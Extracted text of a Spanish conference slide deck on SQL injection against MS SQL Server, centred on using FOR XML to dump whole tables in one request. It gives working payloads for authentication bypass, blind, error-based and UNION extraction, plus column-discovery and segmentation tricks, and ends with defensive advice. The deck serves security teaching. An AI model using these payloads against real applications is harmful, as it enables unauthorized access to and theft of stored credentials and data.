1. SFX-SQLi
SELECT FOR XML SQL INJECTION / SERIALIZED SQL INJECTION
Extracción rápida de información utilizando
inyección SQL con instrucciones XML
Daniel Kachakil
III Curso de Verano de Seguridad Informática (UEM)
06/07/2010 – Valencia
2. Contenido
¿Qué es la inyección SQL?
Técnicas de inyección SQL clásicas
Serialización y la cláusula FOR XML
Obtención de columnas y tipos
Ajuste de la inyección
Ejemplos y demos
2
4. ¿Qué es la inyección SQL?
Vulnerabilidad de aplicaciones informáticas
Su origen está en el filtrado incorrecto o inexistente de
los parámetros de entrada a la BD
Graves consecuencias: Cualquiera puede inyectar
instrucciones SQL que terminan siendo ejecutadas por
el motor de base de datos
4
5. ¿Qué es la inyección SQL?
Pero no es exclusiva de aplicaciones web
5
6. Ataques a la seguridad
Integridad: Borrado o corrupción de datos
UPDATE, DELETE, INSERT, DROP, ...
Disponibilidad: Denegación de servicio
SHUTDOWN, consultas complejas, exploits, ...
Confidencialidad: Acceso a datos privados
Bypass de autenticación (' or '1'='1)
A ciegas (Blind SQL injection)
A través de mensajes de error
Anexando otros conjuntos de datos
6
7. Inyección SQL básica
Usuario: ' or '1'='1
Contraseña: ' or '1'='1
"SELECT * FROM Usuarios WHERE
nombre='" + usuario + "' AND pass='"
+ contraseña + "'"
7
8. Inyección SQL básica
"SELECT * FROM Usuarios WHERE
nombre='' or '1'='1' AND
pass='' or '1'='1'"
La condición WHERE siempre es cierta
Devuelve toda la tabla de usuarios
El primer registro suele coincidir con el del administrador
Usuarios
nombre pass esAdmin
admin P4$$_C0mPlej0! Sí
usuario1 password1 No
usuario2 password2 No
8
9. Inyección SQL a ciegas
Booleanización: más eficiente con búsqueda binaria
EXISTS (SELECT … WHERE n < 128) V
EXISTS (SELECT … WHERE n < 64) V
EXISTS (SELECT … WHERE n < 32) F
EXISTS (SELECT … WHERE n < 48) V
EXISTS (SELECT … WHERE n < 40) F
EXISTS (SELECT … WHERE n < 44) F
EXISTS (SELECT … WHERE n < 46) F
EXISTS (SELECT … WHERE n < 47) V
Conclusión: n=46
9
11. Inyección SQL basada en errores
"SELECT * FROM Acceso WHERE
usuario='' having 1=1--' AND
pass='x'"
11
12. Inyección SQL basada en errores
"SELECT * FROM Acceso WHERE
usuario='' AND convert(int,
system_user)>0--' AND pass='x'"
12
13. Inyección SQL anexando datos
"SELECT id, asunto, fecha FROM Notas
WHERE year(fecha)=2010 UNION SELECT
0, login+'/'+pass, null FROM Users"
Notas
id asunto fecha
1 Día festivo (año nuevo) 01-01-2010
2 Empiezan las rebajas 07-01-2010
... ... ...
0 admin/P4$$w0rd! NULL
0 user1/password1 NULL
13
15. FOR XML (MS SQL Server 2005/2008)
"SELECT * FROM Numeros"
Numero Nombre
1 Uno
2 Dos
3 Tres
4 Cuatro
"SELECT * FROM Numeros FOR XML RAW"
XML_F52E2B61-18A1-11d1-B105-00805F49916B
<row Numero="1" Nombre="Uno" /><row Numero="2"
Nombre="Dos" /><row Numero="3" Nombre="Tres" /><row
Numero="4" Nombre="Cuatro" />
15
16. Anexando una tabla en un campo
"SELECT asunto FROM Notas WHERE id=1
AND 1=0 UNION SELECT(SELECT * FROM
Users FOR XML RAW)"
asunto
Día festivo (año nuevo)
<row login="admin" pass="P4$$w0rd!" /><row login="user1"
pass="password1" />
16
17. Sintaxis de FOR XML
FOR XML {
{ RAW [ ( 'ElementName' ) ] | AUTO }
[
<CommonDirectives>
[ , { XMLDATA | XMLSCHEMA [ ( 'TargetNameSpaceURI' ) ] } ]
[ , ELEMENTS [ XSINIL | ABSENT ]
] | EXPLICIT … | PATH …
}
<CommonDirectives> ::=
[ , BINARY BASE64 ]
[ , TYPE ]
[ , ROOT [ ( 'RootName' ) ] ]
17
19. GROUP BY / HAVING 1=1
HAVING 1=1
Error (cuyo texto revela el nombre de la primera columna)
GROUP BY columna1 HAVING 1=1
Error con el nombre de la segunda columna
GROUP BY columna1, columna2 HAVING 1=1
Error con el nombre de la tercera columna
...
GROUP BY columna1, columna2, columna3, … ,
columnaN HAVING 1=1
Sin errores
19
20. ORDER BY N
ORDER BY 1
Sin errores
ORDER BY 2
Sin errores
...
ORDER BY N
Sin errores
ORDER BY N+1
Falla (Ante el primer fallo probar más valores por si se tratara
de un campo no ordenable. Ej: de tipo binary/varbinary)
20
21. UNION NULL
UNION SELECT null WHERE 0=1
Falla
UNION SELECT null, null WHERE 0=1
Falla
UNION SELECT null, null, null WHERE 0=1
Falla
...
UNION SELECT null, null, null, null, … , null WHERE 0=1
Sin errores
21
23. Obtención del tipo de datos
Basta con encontrar una columna de tipo texto
char, varchar, nvarchar, ...
Si muestra errores:
CAST(), CONVERT()
En otro caso:
UNION SELECT null, null, 'a', null, null, ... [WHERE 1=0]
23
25. Extracción serializando datos
… AND 1=0 UNION SELECT v1, v2, … , (SELECT * FROM
Tabla FOR XML RAW, BINARY BASE64), … , vN
Notas
id asunto fecha
<row login="admin" pass="P4$$w0rd!" />
null null
<row login="user1" pass="password1" />
25
27. Cuándo es necesario segmentar
La técnica podría fallar por timeouts en tablas con
muchos datos (registros, BLOBs, etc.)
Timeout en la transmisión de datos (por ejemplo, en IIS)
Timeout al ejecutar la consulta (en SQL Server)
Solución clásica: "divide y vencerás"
Aplicar la técnica en subconjuntos menores
Combinar todos los resultados
27
28. Timeout en la transmisión de datos
Convertir el XML en una cadena de texto y trocearla
SUBSTRING (texto, desde, longitud)
Muy fácil de implementar
Requiere que la consulta se ejecute por completo
"SELECT SUBSTRING(CONVERT(
nvarchar(MAX), (SELECT * FROM Numeros
FOR XML RAW)), 1, 25)"
<row Numero="1" Nombre="Uno" /><row Numero="2"
Nombre="Dos" /><row Numero="3" Nombre="Tres" /><row
Numero="4" Nombre="Cuatro" />
28
29. Timeout al ejecutar la consulta
Numerar las filas y seleccionar un subconjunto
ROW_NUMBER() OVER (ORDER BY columna)
En SQL Server no hay cláusula LIMIT (presente en MySQL)
Requiere saber el nombre de una columna (no acepta índices)
"SELECT * FROM (SELECT ROW_NUMBER()
OVER (ORDER BY Numero) As N, * FROM
Numeros) As T WHERE N>=1 AND N<4"
<row Numero="1" Nombre="Uno" /><row Numero="2"
Nombre="Dos" /><row Numero="3" Nombre="Tres" /><row
Numero="4" Nombre="Cuatro" />
29
31. SFX-SQLi Tool 1.0
Capaz de extraer tablas completas con una sola petición
Inyecciones GET y POST. SSL, cookies, proxy, etc.
Si las tablas son muy grandes, las puede segmentar
Implementa todas las técnicas descritas antes
Ayuda al descubrimiento de columnas y tipos
Deshace la codificación HTML automáticamente
Log de todo lo que inyecta y de las respuestas
Visualización en explorador integrado y código fuente
31
32. Novedades en SFX-SQLi Tool 1.1
Acceso completo a otras bases de datos del mismo
servidor a través de la master
Ejecución de consultas personalizadas
Ajustes de configuración avanzada
Pequeñas mejoras y correcciones
32
34. Medidas de protección
Las de siempre: filtrar todas las entradas al gestor de
bases de datos
Forzando la conversión de tipos para entradas numéricas
Filtrando o escapando los caracteres peligrosos para las
cadenas de texto (comilla simple)
Siempre hacerlo en el servidor en última instancia (no confiar
en JavaScript, Flash, Silverlight, etc)
34
35. Medidas de protección
Utilizar los mecanismos de protección de la plataforma
en la que estemos desarrollando
Consultas SQL parametrizadas, filtros predefinidos, etc.
Aplicar el principio de menor privilegio
Limita las consecuencias ante un ataque exitoso
No dar información detallada sobre los errores
“Contraseña incorrecta para el usuario usuario”
“Error al conectar con la base de datos mibasededatos”
Response.Write(ex.ToString()) en bloques Try - Catch
35